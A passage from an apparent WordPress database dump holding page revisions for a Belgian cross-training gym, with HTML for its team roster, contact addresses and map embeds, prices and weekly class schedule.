Pierrard&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:04:18', '2013-06-16 15:04:18', '', 20, 'http://www.crosstrainingcenter.be/?p=139', 0, 'revision', '', 0),
(141, 1, '2013-06-16 15:07:42', '2013-06-16 15:07:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:07:42', '2013-06-16 15:07:42', '', 20, 'http://www.crosstrainingcenter.be/?p=141', 0, 'revision', '', 0),
(142, 1, '2014-02-09 20:26:00', '2014-02-09 20:26:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;Limelette&lt;/h1&gt;\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\n\n&lt;address&gt;Club Justine Henin\nAvenue Léon Fournet, 20\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;Namur&lt;/h1&gt;\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\n\n&lt;address&gt;Bowling et Squash de Namur\nChaussée de Perwez, 251\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\nLes séances le Duo Training, Personnal\nTraining ou Coaching nutritionnel se\nfont exclusivement par téléphone.\n0485 / 92 . 02 . 12\n&lt;h1&gt;&lt;/h1&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-autosave-v1', '', '', '2014-02-09 20:26:00', '2014-02-09 20:26:00', '', 9, 'http://www.crosstrainingcenter.be/?p=142', 0, 'revision', '', 0),
(144, 1, '2013-06-16 15:13:28', '2013-06-16 15:13:28', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n\r\n&lt;h1&gt;Adresse :&lt;/h2&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:13:28', '2013-06-16 15:13:28', '', 9, 'http://www.crosstrainingcenter.be/?p=144', 0, 'revision', '', 0),
(143, 1, '2013-06-02 17:55:41', '2013-06-02 17:55:41', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 04XX/XX.XX.XX\r\n\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper.', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-02 17:55:41', '2013-06-02 17:55:41', '', 9, 'http://www.crosstrainingcenter.be/?p=143', 0, 'revision', '', 0),
(145, 1, '2013-06-16 14:47:43', '2013-06-16 14:47:43', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 